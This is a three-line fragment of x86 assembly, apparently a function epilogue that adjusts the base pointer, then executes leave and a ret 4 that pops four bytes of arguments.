add ebp, 0x5c0
leave
ret 4